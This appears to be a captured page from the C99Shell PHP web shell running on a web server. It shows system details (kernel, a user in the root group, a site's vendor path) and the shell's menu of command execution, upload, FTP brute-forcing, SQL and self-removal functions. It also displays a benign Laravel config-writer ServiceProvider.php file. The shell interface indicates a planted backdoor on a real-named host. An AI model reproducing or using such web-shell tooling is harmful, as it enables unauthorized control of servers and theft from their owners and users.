!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/daftspunk/laravel-config-writer/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServiceProvider.php (1.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace October\Rain\Config;

use 
October\Rain\Config\Repository;
use 
Illuminate\Filesystem\Filesystem;
use 
October\Rain\Config\DataWriter\FileWriter;
use 
Illuminate\Support\ServiceProvider as BaseServiceProvider;

class 
ServiceProvider extends BaseServiceProvider
{
    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
// Bind it only once so we can reuse in IoC
        
$this->app->singleton($this->repository(), function($app$items) {
            
$writer = new FileWriter($this->getFiles(), $this->getConfigPath());
            return new 
Repository($writer$items);
        });

        
$this->app->extend('config', function($config$app) {
            
// Capture the loaded configuration items
            
$config_items $config->all();
            return 
$app->make($this->repository(), $config_items);
        });
    }

    public function 
repository()
    {
        return 
Repository::class;
    }

    protected function 
getFiles(): Filesystem
    
{
        return 
$this->app['files'];
    }

    protected function 
getConfigPath(): string
    
{
        return 
$this->app['path.config'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--